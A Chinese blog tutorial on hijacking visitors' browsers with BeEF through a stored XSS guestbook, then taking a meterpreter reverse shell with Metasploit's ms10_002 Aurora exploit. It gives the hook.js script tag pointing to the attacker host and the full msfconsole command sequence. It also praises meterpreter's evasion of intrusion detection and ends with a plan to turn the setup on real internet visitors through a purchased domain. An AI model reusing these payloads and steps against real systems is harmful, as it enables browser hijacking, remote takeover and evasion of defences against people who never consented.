利用Beef劫持客户端浏览器

 

环境:

1.Kali(使用beef生成恶意代码,IP:192.168.114.140)

2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.114.204)

3. 客户端(用于访问web服务器,IP:192.168.114.130)

步骤:

1. Kali使用beef生成恶意代码

2. 将恶意代码写入192.168.114.204网站留言板

3. 只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持

目的:

控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网,配合metasploit进行内网渗透

以下为具体操作:

一、搭建服务器

首先我在window server 2003上搭建IIS服务器,在站长之家找了一个存在XSS漏洞的留言板源码(我心依然留言板),发布到IIS服务器上。

用WVS扫了一下,确实存在XSS漏洞:

二、Kali中Beef的安装和使用:

启动成功后:

浏览器输入:http://127.0.0.1:3000/ui/panel,Usename与Password均为beef:

三、挂马

将如上图所示的Hook URL写入web服务器存在XSS漏洞的留言板中<scriptsrc="http://192.168.114.140:3000/hook.js"></script>

如果留言被管理员审核通过,你的留言能在留言板显示出来。当客户端访问服务器的留言板后,你可以在Beef控制端查看目标主机,如果出现下图所示内网,表示客户端浏览器已经被成功劫持

在Current Browser项选择Browser,点击Hooked Domain选择Redirect Browser,在右边的Redirect URL中输入网址,即可控制浏览器跳转到目标网址

 

Beef+msf拿客户端shell(XP+IE6)

 

一、运行metasploit

Kali收藏栏找到metasploit framework

也可以新建终端输入:msfconsole,启动成功后:

输入以下命令:

1.search ms10_002(寻找ms10_002漏洞)

2.useexploit/windows/browser/ms10_002_aurora(使用ms10_002极光漏洞)

3.set payloadwindows/meterpreter/reverse_tcp(设置TCP回连攻击载荷)

4.show options(查看漏洞利用工具选项)

5.set srvhost 192.168.114.140(配置客户端访问的目标地址,这里是Kali本机的IP地址)

6.set srvport 7777(访问的端口号)

7.set uripath /(网站根路径)

8.set lhost 192.168.114.140(设置本地接收地址)

9.set lport 4444(端口号)

10.show options (查看是否更改过来)

11.exploit(执行利用,出现如下所示表示执行成功)

利用Beef生成的恶意代码植入到存在XSS漏洞的web服务器(12.168.114.204),客户端(192.168.114.130)浏览植入恶意代码的网页,造成客户端浏览器被劫持。当前客户端使用的环境为windows
XP+IE6,我们使用metasploit
framework工具针对IE6的ms10_002极光漏洞进行利用,控制客户端被劫持的浏览器访问192.168.114.140:7777,触发该漏洞,通过漏洞拿到客户端的权限shell,回连192.168.114.140:4444,从而达到控制客户端系统的目的。

由于笔者的XP+IE6环境没有搭好,以下用的firefox浏览器演示命令执行,跳转之后的效果:

如何查看这个shell,我们在Kali中的metasploit终端按下回车。输入sessions –i(由于用的firefox浏览器,所以没有成功获取session)

我在网上找了张图,当成功利用,显示如下:

根据sessions的Id,输入sessions -i 1,得到meterpreter:

meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

输入shell就可以拿到目标主机的一个cmd

然后就可以做任何想做的事比如net user 创建用户等

二、漏洞发布网站:

想要使用metasploit,当然要配合漏洞进行利用,以下为漏洞发布网站,可以经常去看看:

https://www.exploit-db.com/

三、Beef如何在外网中应用思路

仅个人的一些想法,如果不对请指正:利用本机为Web服务器,购买域名,并将域名解析至本机IP地址,在本机的网站上写入恶意代码。当外网客户端通过域名访问我本机搭建的网站,导致浏览器被劫持。

利用Beef劫持客户端浏览器的更多相关文章

  1. 使用Beef劫持客户端浏览器并进一步使用Beef+msf拿客户端shell

    环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.114.204) 3. 客户端(用于访 ...

  2. html利用j获取局域网内的本机IP(根据客户端浏览器的ip获取)

    根据客户端浏览器的ip获取 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type ...

  3. 利用form.submit提交表单导出文件到客户端浏览器, 提示下载!

    本来是想利用ajax提交json数据到服务端, 让服务端生成一个excel文件并提示客户端浏览器下载的. 但是搞了很久发现ajax方式是无法触发浏览器弹出文件下载的. 网上很多的方案都是说利用form ...

  4. 利用浏览器favicon的缓存机制(F-Cache)生成客户端浏览器唯一指纹

    利用浏览器favicon的缓存机制(F-Cache)生成客户端浏览器唯一指纹 首先介绍下: 这个技术出自 UIC论文:https://www.cs.uic.edu/~polakis/papers/so ...

  5. xss利用——BeEF#stage4(其余功能介绍)

    目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...

  6. xss利用——BeEF#stage2(初始并持续化控制)

    全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...

  7. 利用navigator对象在浏览器中检查插件

    利用navigator对象在浏览器中检查插件,实现的代码如下. // IE4+.firefox.chrome.safari.opera中,利用navigator检测插件 ,name为插件的名字 fun ...

  8. php获取客户端浏览器以及操作系统信息的方法

    发布:sunday01   来源:net   阅读: 2   [大 中 小] 在较为智能的程序中,php可以获取客户端浏览器及操作系统信息,然后根据浏览器及系统类型,加载不同的页面,以提供更加个性化的 ...

  9. 客户端浏览器判断(ios .android)

    在开发工程中,我们可能需要判断客户端浏览器的版本而作相应的处理:通常做法是通过浏览器的userAgent去判断浏览器版本,故在此总结下,方便以后使用. <script type="te ...

随机推荐

  1. RabbitMQ消息确认机制

    文章目录 1. 事务机制2. Confirm模式2.1 生产者2.1.1 普通Confirm模式2.1.2 批量Confirm模式2.1.3 异步Confirm模式2.2 消费者3. 其他 消费者如何 ...

  2. Anaconda3(5-1)程序编辑器 自带的spyder

    1装好后自带spyder编辑器 2 打开软件 3 每次程序需要制定anaconda3中创建的虚拟环境对应 的python版本的路径 例如在我的电脑我创建了两个环境 而我的pytorch安装在pytho ...

  3. contest1 CF1084 div2 oooxx oooxo ooooo

    题意: div2D (x)(x) 给出一棵树, 找出一条路径, 使得每一时刻点权和\(\ge\)边权和, 并且点权和\(-\)边权和最大 div2E (x)(o) 给出两个长度为\(n(\le 5e5 ...

  4. Python——IO多路复用之select模块epoll方法

    Python——IO多路复用之select模块epoll方法 使用epoll方法实现IO多路复用,使用方法基本与poll方法一致,epoll效率要高于select和poll. .├── epoll_c ...

  5. 请写出css中选择器(元素选择器、类选择器、id选择器)的优先级顺序,和当各种选择器组合时,优先级的计算规则是什么?

    id选择器>类选择器>元素选择器 规则:选择器的权重值表述为4个部分,用0,0,0,0表示. 通配符*的权重为0,0,0,0 标签选择器.伪元素选择器的权重为0,0,0,1 类选择器.属性 ...

  6. Spring Boot 知识笔记(全局异常)

    通过ControllerAdvice和ExceptionHandler捕获异常和错误信息,向前端返回json格式的状态码及异常描述信息. 1.新建一个Controller,抛出一个异常. packag ...

  7. 【转】调用百度API,HTML在线文字转语音播报

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. python数据分析5 数据转换

    1数据转换 数据转换时数据准备的重要环节,它通过数据平滑,数据聚集,数据概化,规范化等凡是将数据转换成适用于数据挖掘的形式 1.1 数据平滑 去除数据中的噪声,将连续数据离散化.这里可以采用分箱.聚类 ...

  9. GameZ游戏排名系统

    GameZ游戏排名系统 GameZ为他们最新推出的游戏开通了一个网站.世界各地的玩家都可以将自己的游戏得分上传到网站上.这样就可以看到自己在世界上的排名.得分越高,排名就越靠前.当两个玩家的名次相同时 ...

  10. linux lnmp环境下 安装apache教程

    linux lnmp环境下 安装apache教程 源码安装 apr ,apr-util 安装apache要用<pre>wget http://mirrors.cnnic.cn/apache ...